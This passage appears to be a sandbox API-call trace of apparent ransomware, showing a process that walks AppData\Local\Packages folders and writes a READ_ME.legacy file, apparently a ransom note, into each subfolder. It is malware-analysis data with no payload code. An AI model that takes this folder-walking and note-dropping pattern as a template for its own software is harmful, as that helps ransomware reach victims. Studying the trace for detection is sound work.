dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0149.733] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.734] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.735] CloseHandle (hObject=0x818) returned 1 [0149.735] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0149.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.735] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.736] CloseHandle (hObject=0x818) returned 1 [0149.737] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0149.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.737] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.738] CloseHandle (hObject=0x818) returned 1 [0149.738] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc91cbd05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0149.738] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.739] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.740] CloseHandle (hObject=0x818) returned 1 [0149.740] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc91cbd05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0149.740] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2181844, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563ef8 [0149.740] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2181844, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.741] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0149.741] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.822] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.823] CloseHandle (hObject=0x81c) returned 1 [0149.823] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0149.823] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.823] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.824] CloseHandle (hObject=0x81c) returned 1 [0149.824] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0149.824] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.825] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.826] CloseHandle (hObject=0x81c) returned 1 [0149.826] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8306d465, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8306d465, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0149.826] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.826] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.827] CloseHandle (hObject=0x81c) returned 1 [0149.827] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2181844, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2181844, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2181844, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.827] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0149.827] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.829] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.830] CloseHandle (hObject=0x81c) returned 1 [0149.830] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0149.830] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.830] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.831] CloseHandle (hObject=0x81c) returned 1 [0149.831] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0149.831] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.831] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.832] CloseHandle (hObject=0x81c) returned 1 [0149.832] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0149.832] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0149.832] WriteFile (in: hFile=0x81c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.833] CloseHandle (hObject=0x81c) returned 1 [0149.833] FindNextFileW (in: hFindFile=0x563ef8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0149.833] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe228c844, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563938 [0149.833] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe228c844, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.835] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0149.835] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.841] WriteFile (in: hFile=0x820, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.841] CloseHandle (hObject=0x820) returned 1 [0149.841] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0149.842] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.842] WriteFile (in: hFile=0x820, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.843] CloseHandle (hObject=0x820) returned 1 [0149.843] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0149.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.844] WriteFile (in: hFile=0x820, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.845] CloseHandle (hObject=0x820) returned 1 [0149.845] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0149.845] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.845] WriteFile (in: hFile=0x820, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.846] CloseHandle (hObject=0x820) returned 1 [0149.846] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe228c844, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe228c844, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe228c844, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.846] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0149.846] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.847] WriteFile (in: hFile=0x820, 